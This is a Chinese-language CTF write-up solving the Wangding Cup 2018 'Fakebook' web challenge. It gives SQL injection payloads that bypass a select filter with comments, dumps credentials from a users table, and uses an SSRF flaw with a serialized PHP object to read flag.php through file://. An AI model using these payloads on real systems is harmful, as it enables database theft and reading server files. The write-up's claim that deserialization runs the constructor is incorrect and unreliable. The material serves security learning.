1. 程式人生 > 其它 >[網鼎杯 2018]Fakebook

[網鼎杯 2018]Fakebook

註冊賬號登入,找到view.php存在get注入。

?no=1 and 1=2 #報錯 ?no=1 and 1=1 #正常說明存在注入點。

order by 判斷列數為4。

嘗試聯合查詢

?no=-1 union select 1,2,3,4#

檢測到入侵,看來有過濾。

?no=-1 union # 這樣話報出語法錯誤。

加上select 呢

?no=-1 union select # 報出hack

看來是對select 檢測。 大小寫,雙寫都沒繞過,試了註釋繞過成功。

?no=-1 union/**/select 1,2,3,4#報出顯示位

最後報出資料

?no=-1 union/**/select 1,(/**/select group_concat(username,'~',passwd,'~',data) from users),3,4#

看來data都是以序列化格式儲存的。

看來師傅們的wp才知道還要掃一下後臺,掏出dirsearch 掃到robots.txt 下載到bak原始碼備份檔案。

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age
; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode
== 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }

get函式中存在ssrf,並且也沒有過濾。

SSRF(Server-Side Request Forgery:伺服器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。
一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統) SSRF 形成的原因大都是由於服務端提供了從其他伺服器應用獲取資料的功能且沒有對目標地址做過濾與限制。
比如從指定URL地址獲取網頁文字內容,載入指定地址的圖片,下載等等。利用的是服務端的請求偽造。
ssrf是利用存在缺陷的web應用作為代理攻擊遠端和本地的伺服器

所以我們可以往資料庫裡插一個url 當執行get函式時就會訪問到我們無法通過外網直接無法訪問,而目標伺服器可以問的資源。

對於curl支援file協議,可以這樣讀取檔案:

file:///var/www/html/flag.php

<?php


class UserInfo
{
    public $name = "1";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
$b =  serialize($a);
echo $b;

反序列化時,反序列化物件會自動執行建構函式。所以我們編寫指令碼,將需要構造的ssrf放在blog屬性中,讓其在反序列化時被呼叫。

http://21641cc4-0bbe-412b-a969-e19ce567213e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,1,0,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

執行後iframe標籤得到flag